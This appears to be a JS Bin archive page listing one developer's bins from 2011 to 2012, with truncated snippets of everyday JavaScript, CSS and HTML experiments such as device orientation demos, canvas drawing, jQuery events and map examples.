aleyob 22 Jan 2012 Archive Un-archive /** * An instance of DeviceMotionEvent is created when significant change in motion occurs. * The event object encapsulates the measurements of the interval, rotation rate, and acceleration of a device. * * The accelerometer measures the sum of two accele
ezanez 22 Jan 2012 Archive Un-archive Scrollbar shadowing
1 22 Jan 2012 Archive Un-archive JS Bin
epuciy 22 Jan 2012 Archive Un-archive Device data Accelerometer Including Gravity X: Y: Z: Interval: Gyro (Tilt) Gamma: Beta: Alpha (compass):
1 22 Jan 2012 Archive Un-archive Device data Accelerometer Including Gravity X: Y: Z: Interval: Gyro (Tilt) Gamma: Beta: Alpha (compass):
omular 21 Jan 2012 Archive Un-archive This is just a sample of what I'm doing. I want this page to include a script tag that can generate a popup without having to refer to a separate HTML file. That's all fine and I can do using the data url scheme, but because the origin is different, I can
okajum 21 Jan 2012 Archive Un-archive function getScript() { var scripts = document.getElementsByTagName('script'), script = null; for (var i = 0; i < scripts.length; i++) { if (/.js/.test(scripts[i].src)) { // usually we look for more specific data script = scripts[i]; break; } } return scri
1 21 Jan 2012 Archive Un-archive function getScript() { var scripts = document.getElementsByTagName('script'), script = null; for (var i = 0; i < scripts.length; i++) { if (/.js/.test(scripts[i].src)) { // usually we look for more specific data script = scripts[i]; break; } } return scri
enebev 13 Jan 2012 Archive Un-archive (function(window, document, undefined){ // /assets/scripts/freybors.js // generic globals var False = function () { return false; }, noop = function () {}, bodyId = document.body.id, freybors = {}; document.head = document.head || document.getElementsByTa
2 13 Jan 2012 Archive Un-archive (function(window, document, undefined){ // /assets/scripts/freybors.js // generic globals var False = function () { return false; }, noop = function () {}, bodyId = document.body.id, freybors = {}; document.head = document.head || document.getElementsByTa
1 13 Jan 2012 Archive Un-archive (function(window, document, undefined){ // /assets/scripts/freybors.js // generic globals var False = function () { return false; }, noop = function () {}, bodyId = document.body.id, freybors = Core; document.head = document.head || document.getElementsBy
arojek 12 Jan 2012 Archive Un-archive process.once('SIGUSR2', function () { require('util').print('\033[2J'); process.kill(process.pid, 'SIGUSR2'); });
aboxah 11 Jan 2012 Archive Un-archive just a test
1 11 Jan 2012 Archive Un-archive if (document.getElementById('hello')) { document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript'; }
izatad 10 Jan 2012 Archive Un-archive &ldquo; remy” &rdquo;
iwixoq 06 Jan 2012 Archive Un-archive alert('page loaded - now hit submit - it should not reload the page'); $('form').submit(function (e) { e.preventDefault(); alert('form submission prevented'); });
uhuxih 04 Jan 2012 Archive Un-archive if (document.getElementById('hello')) { document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript'; }
omatap 02 Jan 2012 Archive Un-archive remy
uzubos 28 Dec 2011 Archive Un-archive The MIT License (MIT) Copyright (c) 2011 &lt;copyright holders&gt; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restricti
usugop 23 Dec 2011 Archive Un-archive var ctx = document.createElement('canvas').getContext('2d'), width = ctx.canvas.width = window.innerWidth, height = ctx.canvas.height = window.innerHeight, TODEG = Math.PI / 180, img; document.body.appendChild(ctx.canvas); makeArrow(); function orientatio
igakav 19 Dec 2011 Archive Un-archive if (document.getElementById('hello')) { document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript'; }
1 19 Dec 2011 Archive Un-archive if (document.getElementById('hello')) { document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript'; }
ibojav 13 Dec 2011 Archive Un-archive var search = document.querySelector('input'), form = search.form, myOptions = { zoom: 12, mapTypeId: google.maps.MapTypeId.ROADMAP }, map = new google.maps.Map(document.getElementById('map'), myOptions); var position = new google.maps.LatLng(50.819522, -0
oxurub 13 Dec 2011 Archive Un-archive var ctx = document.querySelector('canvas').getContext('2d'); var canvas = ctx.canvas; ctx.canvas.height = 300; var w = canvas.width, h = canvas.height; var gradient = ctx.createLinearGradient(0, 0, w, h); var gradient = ctx.createRadialGradient(w/2,h/2,0,
acipop 09 Dec 2011 Archive Un-archive body { font-family: sans-serif; } jQuery offers several ways to extend its event system to provide custom functionality when events are attached to elements. Internally in jQuery, these extensions are primarily used to ensure that standard events such as
akulej 09 Dec 2011 Archive Un-archive $.event.special.updated = { setup: function (data, namespaces) { console.log('setup'); $(this).on('keyup', keyup).data('last', this.value); }, teardown: function () { $(this).off('keyup', keyup).removeData('last'); } }; function keyup(event) { var last =
2 09 Dec 2011 Archive Un-archive jQuery(function ($) { $.event.special.updated = { setup: function (data, namespaces) { console.log('setup'); $(this).on('keyup', keyup).data('last', this.value); }, teardown: function () { $(this).off('keyup', keyup).removeData('last'); } }; function keyu
1 09 Dec 2011 Archive Un-archive jQuery(function ($) { $.event.special.updated = { setup: function (data, namespaces) { $(this).on('keyup', keyup).data('last', this.value); }, teardown: function () { $(this).off('keyup', keyup).removeData('last'); } }; function keyup(event) { var last =
avefah 07 Dec 2011 Archive Un-archive // this doesn't paste well in to the REPL - in fact it ballzes things up. Yes, that's a word var foo = 12 , data = "some data"; console.log(data, foo);
1 07 Dec 2011 Archive Un-archive // this copy and pastes fine var foo = 12, data = "some data"; console.log(data, foo);
anaqax 07 Dec 2011 Archive Un-archive $.ajaxPrefilter(function(options) { if (options.url && options.dataType) { options.url += '.' + options.dataType.toLowerCase(); } });
aheqap 03 Dec 2011 Archive Un-archive var twitterlib = require('twitterlib'), // npm install twitterlib fs = require('fs'); var data = []; twitterlib.favs('rem', function (tweets) { if (tweets.length) { data = data.concat(tweets); twitterlib.next(); } else { fs.writeFile('favs.json', JSON.str
ijeza 29 Nov 2011 Archive Un-archive var people = { rem : { name : "Remy Sharp", blog : "http://remysharp.com" }, brucel : { name : "Bruce Lawson", blog : "http://brucelawson.co.uk" }, "Rich_Clark" : { name : "Rich Clark", blog : "http://richclarkdesign.com/" }, akamike : { name : "Mike Robi
afica 29 Nov 2011 Archive Un-archive var people = { rem : { name : "Remy Sharp", blog : "http://remysharp.com" }, brucel : { name : "Bruce Lawson", blog : "http://brucelawson.co.uk" }, "Rich_Clark" : { name : "Rich Clark", blog : "http://richclarkdesign.com/" }, akamike : { name : "Mike Robi
uzovu 29 Nov 2011 Archive Un-archive function cancel(e) { if (e.preventDefault) { e.preventDefault(); } return false; } var dragItems = document.querySelectorAll('[draggable=true]'); for (var i = 0; i < dragItems.length; i++) { addEvent(dragItems[i], 'dragstart', function (event) { // store
ezuke 29 Nov 2011 Archive Un-archive function cancel(e) { if (e.preventDefault) { e.preventDefault(); } return false; } var drop = document.querySelector('#drop'); // Tells the browser that we *can* drop on this target addEvent(drop, 'dragover', cancel); addEvent(drop, 'dragenter', cancel);
ijipan 28 Nov 2011 Archive Un-archive form textarea(rows=3) | { | | } p Above textarea shows 4 lines - process.exit()
3 28 Nov 2011 Archive Un-archive form textarea(rows=3) | { | | } p Above textarea shows 4 lines
2 28 Nov 2011 Archive Un-archive form textarea(rows=3) | { | | } p Above textarea shows 4 lines
1 28 Nov 2011 Archive Un-archive form textarea(rows=3) | { | | } p Above textarea shows 4 lines
asawef 23 Nov 2011 Archive Un-archive #fullfrontalconf tweets
9 23 Nov 2011 Archive Un-archive #fullfrontalconf tweets
3 23 Nov 2011 Archive Un-archive #fullfrontalconf tweets
2 18 Nov 2011 Archive Un-archive #fullfrontalconf tweets
1 18 Nov 2011 Archive Un-archive Hello World
onebur 13 Nov 2011 Archive Un-archive TIME var body = document.body, callout = document.getElementById('callout'), time = document.getElementById('time'), color = document.getElementById('color'); body.ontouchstart = body.onclick = function (event) { if (event.target.nodeName !== 'INPUT')
4 13 Nov 2011 Archive Un-archive TIME var body = document.body, callout = document.getElementById('callout'), time = document.getElementById('time'), color = document.getElementById('color'); body.ontouchstart = body.onclick = function (event) { if (event.target.nodeName !== 'INPUT')
3 13 Nov 2011 Archive Un-archive TIME var body = document.body, callout = document.getElementById('callout'), time = document.getElementById('time'), color = document.getElementById('color'); body.ontouchstart = body.onclick = function (event) { if (event.target.nodeName !== 'INPUT')
2 13 Nov 2011 Archive Un-archive TIME var body = document.body, callout = document.getElementById('callout'), time = document.getElementById('time'), color = document.getElementById('color'); body.ontouchstart = body.onclick = function (event) { if (event.target.nodeName !== 'INPUT')
1 13 Nov 2011 Archive Un-archive TIME var body = document.body, callout = document.getElementById('callout'), time = document.getElementById('time'), color = document.getElementById('color'); body.onclick = function (event) { if (event.target.nodeName !== 'INPUT') { var className = b
eyoqev 13 Nov 2011 Archive Un-archive input { -webkit-appearance: slider-vertical; width: 20px; height: 100px; /* lame!!! */ -webkit-transform: rotate(180deg); }
1 13 Nov 2011 Archive Un-archive input { -webkit-appearance: slider-vertical; width: 20px; height: 100px; }
orolov 13 Nov 2011 Archive Un-archive input:after { content: attr(value); position: absolute; }
iqocep 09 Nov 2011 Archive Un-archive Hello World
ovahuf 03 Nov 2011 Archive Un-archive require('http').createServer(function (req, res) { res.writeHead(200, { 'content-type' : 'text/html' }); res.write('<title>foo</title>\n'); res.write('<p>Hello...</p>\n'); setTimeout(function () { res.end('<p>World</p>'); }, 2000); }).listen(8000);
epevos 03 Nov 2011 Archive Un-archive Hello World
1 03 Nov 2011 Archive Un-archive Hello World
eqodon 01 Nov 2011 Archive Un-archive var directionDisplay; var directionsService = new google.maps.DirectionsService(); var map; var party = new google.maps.LatLng(50.82181097001707,-0.14180302619934082); function initialize() { directionsDisplay = new google.maps.DirectionsRenderer(); var m
3 01 Nov 2011 Archive Un-archive var directionDisplay; var directionsService = new google.maps.DirectionsService(); var map; var party = new google.maps.LatLng(50.82181097001707,-0.14180302619934082); function initialize() { directionsDisplay = new google.maps.DirectionsRenderer(); var m
2 01 Nov 2011 Archive Un-archive var directionDisplay; var directionsService = new google.maps.DirectionsService(); var map; var party = new google.maps.LatLng(50.82181097001707,-0.14180302619934082); function initialize() { directionsDisplay = new google.maps.DirectionsRenderer(); var m
1 01 Nov 2011 Archive Un-archive var directionDisplay; var directionsService = new google.maps.DirectionsService(); var map; var party = new google.maps.LatLng(50.82181097001707,-0.14180302619934082); function initialize() { directionsDisplay = new google.maps.DirectionsRenderer(); var m
imezok 31 Oct 2011 Archive Un-archive Found: 0
2 31 Oct 2011 Archive Un-archive Found: 0
1 31 Oct 2011 Archive Un-archive Found: 0
alanit 31 Oct 2011 Archive Un-archive bold!
oyixez 30 Oct 2011 Archive Un-archive today Day for date: 0
1 30 Oct 2011 Archive Un-archive today Day for date: 0
elabul 23 Oct 2011 Archive Un-archive function throttle(fn, delay) { var timer = null; console.log(1); return function () { console.log(2); var context = this, args = arguments; clearTimeout(timer); timer = setTimeout(function () { console.log(3); fn.apply(context, args); }, delay); }; } var
atoxiq 20 Oct 2011 Archive Un-archive document.write(navigator.userAgent)
upilar 24 Sep 2011 Archive Un-archive if (document.getElementById('hello')) { document.getElementById('hello').innerHTML = 'Hello World - this was inserted using JavaScript'; }
usaveg 21 Sep 2011 Archive Un-archive Introducing HTML5 by Remy Sharp and Bruce Lawson The lovely Ava, daughter of the equally lovely Henny (@iheni) chuckles as she realises the ingenuity of the HTML5 outlining algorithm. I&#8217;m thinking of writing a follow-up children&#8217;s bo
3 21 Sep 2011 Archive Un-archive Introducing HTML5 by Remy Sharp and Bruce Lawson The lovely Ava, daughter of the equally lovely Henny (@iheni) chuckles as she realises the ingenuity of the HTML5 outlining algorithm. I&#8217;m thinking of writing a follow-up children&#8217;s bo
2 18 Sep 2011 Archive Un-archive Introducing HTML5 by Remy Sharp and Bruce Lawson The lovely Ava, daughter of the equally lovely Henny (@iheni) chuckles as she realises the ingenuity of the HTML5 outlining algorithm. I&#8217;m thinking of writing a follow-up children&#8217;s bo
1 18 Sep 2011 Archive Un-archive Introducing HTML5 by Remy Sharp and Bruce Lawson The lovely Ava, daughter of the equally lovely Henny (@iheni) chuckles as she realises the ingenuity of the HTML5 outlining algorithm. I&#8217;m thinking of writing a follow-up children&#8217;s bo
awofas 18 Sep 2011 Archive Un-archive onmessage = function () { // ooh matron }
osuwiv 14 Sep 2011 Archive Un-archive header lorem
uqogaw 14 Sep 2011 Archive Un-archive Hello World
1 14 Sep 2011 Archive Un-archive Hello World
uboqos 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
25 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
24 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
23 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
22 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
21 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
20 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
19 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
18 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
17 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
16 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
15 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
14 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
13 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
12 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
11 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
10 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
9 12 Sep 2011 Archive Un-archive #tweetcoding with canvas
8 11 Sep 2011 Archive Un-archive #tweetcoding with canvas
7 11 Sep 2011 Archive Un-archive #tweetcoding with canvas
6 11 Sep 2011 Archive Un-archive #tweetcoding with canvas
5 11 Sep 2011 Archive Un-archive #tweetcoding with canvas
4 11 Sep 2011 Archive Un-archive function hextorgba(v, alpha) { var rgb = [], fail = false, hex = (v+'').replace(/#/, ''), l = hex.length; if (l < 3 || (l > 3 && l < 6)) hex = '000000'; if (l == 3) hex = hex + hex; for (var i = 0; i < 6; i+=2) { rgb.push(parseInt(hex.substr(i,2),16)); fa
3 11 Sep 2011 Archive Un-archive g=document.getElementById('c').getContext('2d'); mouseX=mouseY=i=g._useFill = 0; F='fill'; S='stroke'; C=g.canvas; g.clear = function () { g.clearRect(0, 0, C.width, C.height); }; g.linestyle = function (t, c) { g.lineWidth = t || 1; g.strokeStyle = '#' +
2 11 Sep 2011 Archive Un-archive g=document.getElementById('c').getContext('2d'); mouseX=mouseY=i=g._useFill = 0; F='fill'; S='stroke'; C=g.canvas; g.clear = function () { g.clearRect(0, 0, C.width, C.height); }; g.linestyle = function (t, c) { g.lineWidth = t || 1; g.strokeStyle = '#' +
1 11 Sep 2011 Archive Un-archive g=document.getElementById('c').getContext('2d'); mouseX=mouseY=i=g._useFill = 0; F='fill'; S='stroke'; C=g.canvas; g.clear = function () { g.clearRect(0, 0, C.width, C.height); }; g.linestyle = function (t, c) { g.lineWidth = t || 1; g.strokeStyle = '#' +
afeyas 11 Sep 2011 Archive Un-archive var pixels = ctx.getImageData(0, 0, w, h), l = pixels.data.length, i; for (i = 0; i
imogir 08 Sep 2011 Archive Un-archive Hello World one two
iqarab 06 Sep 2011 Archive Un-archive Beef meatball corned beef venison, leberkäse salami sausage rump ham pork chop cow bresaola. Pork loin filet mignon hamburger meatball short ribs biltong, boudin flank strip steak sausage t-bone rump. Pork loin strip steak chuck ham hamburger kielbasa chi
4 06 Sep 2011 Archive Un-archive Beef meatball corned beef venison, leberkäse salami sausage rump ham pork chop cow bresaola. Pork loin filet mignon hamburger meatball short ribs biltong, boudin flank strip steak sausage t-bone rump. Pork loin strip steak chuck ham hamburger kielbasa chi
3 06 Sep 2011 Archive Un-archive Beef meatball corned beef venison, leberkäse salami sausage rump ham pork chop cow bresaola. Pork loin filet mignon hamburger meatball short ribs biltong, boudin flank strip steak sausage t-bone rump. Pork loin strip steak chuck ham hamburger kielbasa chi
2 06 Sep 2011 Archive Un-archive Beef meatball corned beef venison, leberkäse salami sausage rump ham pork chop cow bresaola. Pork loin filet mignon hamburger meatball short ribs biltong, boudin flank strip steak sausage t-bone rump. Pork loin strip steak chuck ham hamburger kielbasa chi
1 06 Sep 2011 Archive Un-archive Beef meatball corned beef venison, leberkäse salami sausage rump ham pork chop cow bresaola. Pork loin filet mignon hamburger meatball short ribs biltong, boudin flank strip steak sausage t-bone rump. Pork loin strip steak chuck ham hamburger kielbasa chi
arajoy 06 Sep 2011 Archive Un-archive Hello world console.log({ user: "rem", location: "Brighton" });
edifu4 01 Sep 2011 Archive Un-archive one without hash link two with hash link (to four) three four five
okalok 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
11 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
9 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
8 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
7 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
6 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element --> Listening for touchstart...
5 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
4 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
3 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
2 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
1 29 Aug 2011 Archive Un-archive Trying to catch the touchstart event on the input element Listening for touchstart...
adukun 29 Aug 2011 Archive Un-archive document.getElementsByTagName('input').ontouchstart = function () { this.value = 'touched'; };
avarav 26 Aug 2011 Archive Un-archive Remy's bin
awohex 25 Aug 2011 Archive Un-archive heading top bottom Bacon ipsum dolor sit amet turkey shoulder ham, drumstick beef ribs tail pork belly boudin strip steak frankfurter meatloaf hamburger tri-tip pastrami ribeye. Pastrami pork loin pig flank bresaola. Chuck ground round shankle shank.
2 24 Aug 2011 Archive Un-archive heading top bottom Bacon ipsum dolor sit amet turkey shoulder ham, drumstick beef ribs tail pork belly boudin strip steak frankfurter meatloaf hamburger tri-tip pastrami ribeye. Pastrami pork loin pig flank bresaola. Chuck ground round shankle shank.
1 24 Aug 2011 Archive Un-archive heading top bottom Bacon ipsum dolor sit amet turkey shoulder ham, drumstick beef ribs tail pork belly boudin strip steak frankfurter meatloaf hamburger tri-tip pastrami ribeye. Pastrami pork loin pig flank bresaola. Chuck ground round shankle shank. B
ijokuz 24 Aug 2011 Archive Un-archive Wait for it... Hello World %code%
1 24 Aug 2011 Archive Un-archive Hello World
apejox 23 Aug 2011 Archive Un-archive Drop an image here to have it displayed. function receive(event, element) { var data = event.dataTransfer.items; for (var i = 0; i
egulam 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
20 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
19 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
18 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
17 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
16 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
15 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
14 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
13 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
12 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
11 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
10 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
9 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
8 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
7 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
6 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
5 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
4 22 Aug 2011 Archive Un-archive // Sample code editor - with JavaScript syntax highlighting
3 22 Aug 2011 Archive Un-archive //= require "errors" // Sample code editor
2 22 Aug 2011 Archive Un-archive //= require "errors" // Sample code editor
1 22 Aug 2011 Archive Un-archive //= require "errors" // Sample code editor
epufaj 22 Aug 2011 Archive Un-archive { "username": "rem", "day": "Friday" }
onoxov 19 Aug 2011 Archive Un-archive the quick brown fox jumps over the lazy dog
ososut 19 Aug 2011 Archive Un-archive php.js strtotime tests document.write(new Date( strtotime('2011-W34-5') // annoyingly strtotime gives me seconds, not milliseconds * 1000))
1 19 Aug 2011 Archive Un-archive php.js strtotime tests document.write(new Date( strtotime('now') // annoyingly strtotime gives me seconds, not milliseconds * 1000))
oguwor 18 Aug 2011 Archive Un-archive Device Orientation Event Supported Tilt Left/Right [tiltLR] Tilt Front/Back [tiltFB] Direction [direction] Motion Up/Down init3(); var count = 0; function init() { if (window.DeviceOrientationEvent) { console.log("DeviceOrientation i
utefam 18 Aug 2011 Archive Un-archive getTwitters('tweet', { id: 'rem/jsconfeu', count: 4, enableLinks: true, ignoreReplies: true, clearContents: true, newwindow: true, ignoreReplies: true, template: '%user_screen_name%: %text% %time%' }); Loading...
oxohev 18 Aug 2011 Archive Un-archive @rem's present.js Use the cursor keys to proceed (or mouse or presentation pointer) About A(nother) custom JavaScript presentation script. I wrote this inspired by slides.html5rocks.com - but (a) didn't like the complexity in the script (obviously becau
2 18 Aug 2011 Archive Un-archive @rem's present.js Use the cursor keys to proceed (or mouse or presentation pointer) About A(nother) custom JavaScript presentation script. I wrote this inspired by slides.html5rocks.com - but (a) didn't like the complexity in the script (obviously becau
1 18 Aug 2011 Archive Un-archive @rem's present.js Use the cursor keys to proceed (or mouse or presentation pointer) About A(nother) custom JavaScript presentation script. I wrote this inspired by slides.html5rocks.com - but (a) didn't like the complexity in the script (obviously becau
idanir 18 Aug 2011 Archive Un-archive html, body { height: 100%; margin: 0; overflow: hidden; } h1, h2, h3, h4, h5, h6 { margin: 0; } h1 { text-align: center; font-size: 120px; } h2 { margin-top: 10px; font-size: 120px; } header { position: absolute; font-size: 56px; left: 30px; margin: 0; to
arijib 17 Aug 2011 Archive Un-archive webkit-overflow-scrolling success foobar foobar foobar foobar foobar foobar foobar foobar foobar foobar foobar
1 17 Aug 2011 Archive Un-archive webkit-overflow-scrolling fail foobar foobar foobar foobar foobar foobar foobar foobar foobar foobar foobar
efenor 17 Aug 2011 Archive Un-archive HTML JavaScript alert('it worked!')
axobun 16 Aug 2011 Archive Un-archive This is the main content. This is the navigation. foo bar baz
ofojer 15 Aug 2011 Archive Un-archive Hello World one two three
emocut 15 Aug 2011 Archive Un-archive foo bannas one two three
5 15 Aug 2011 Archive Un-archive foo bannas one two three
4 15 Aug 2011 Archive Un-archive foo bannas one two three
3 14 Aug 2011 Archive Un-archive foo bannas one two three
2 14 Aug 2011 Archive Un-archive foo bannas one two three
1 14 Aug 2011 Archive Un-archive (function ($) { var oldVal = $.fn.val; function getCaret(el) { if (el.selectionStart) { return el.selectionStart; } else if (document.selection) { el.focus(); var r = document.selection.createRange(); if (r === null) { return 0; } var re = el.createTextRa
elicop 14 Aug 2011 Archive Un-archive Just another HTML5 Doctor demo. View source for the goodness.
uxasam 14 Aug 2011 Archive Un-archive var MOZ_ORIENTATION_SCALE_FACTOR = 57, IOS_ORIENTATION_SCALE_FACTOR = 2, iosX = 1, // unknown values iosY = 1; function handleOrientation(event) { var orX = event.gamma || (event.x * MOZ_ORIENTATION_SCALE_FACTOR) || (iosX * IOS_ORIENTATION_SCALE_FACTOR);
eliqiv 14 Aug 2011 Archive Un-archive Hello there, open the browser console to see what's going on.
3 14 Aug 2011 Archive Un-archive Hello there, open the browser console to see what's going on.
2 14 Aug 2011 Archive Un-archive Hello there, open the browser console to see what's going on.
1 14 Aug 2011 Archive Un-archive Hello there, open the browser console to see what's going on.
otojip 10 Aug 2011 Archive Un-archive Remy's JS Bin
2 10 Aug 2011 Archive Un-archive Remy's JS Bin
1 10 Aug 2011 Archive Un-archive Remy's JS Bin
coffeescript 09 Aug 2011 Archive Un-archive CoffeeScript Render setTimeout(function () { var scripts = document.getElementsByTagName('script'), output = document.getElementById('output'), source = document.getElementById('source'), cslines = scripts[scripts.length-1].innerHTML.trim().split('\n')
14 09 Aug 2011 Archive Un-archive CoffeeScript Render setTimeout(function () { var scripts = document.getElementsByTagName('script'), output = document.getElementById('output'), source = document.getElementById('source'), cslines = scripts[scripts.length-1].innerHTML.trim().split('\n')
ujuyuw 09 Aug 2011 Archive Un-archive You don't want to preview this folks - it's a rickroll... ^-- I'm actually a button
1 08 Aug 2011 Archive Un-archive ^-- I'm actually a button
egeve3 09 Aug 2011 Archive Un-archive Config v2 Username Enter your chosen user name.
19 09 Aug 2011 Archive Un-archive Config Username Enter your chosen user name.
18 08 Aug 2011 Archive Un-archive Config Username Enter your chosen user name.
asejeq 08 Aug 2011 Archive Un-archive Impressive - v2
2 08 Aug 2011 Archive Un-archive Impressive
etapah 08 Aug 2011 Archive Un-archive Button styled as a link...so wrong
ufodij 08 Aug 2011 Archive Un-archive /* * This block of code takes over the console object and replaces it * with my own function. That function throws an exception, catches * it and reads the error.stack property (only in Chrome for now), * parses that information to find the flie, line num
owavu3 08 Aug 2011 Archive Un-archive Go ahead - edit this title Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo conse
ipaqo 08 Aug 2011 Archive Un-archive Hello World
orehug 08 Aug 2011 Archive Un-archive Hello World

Preview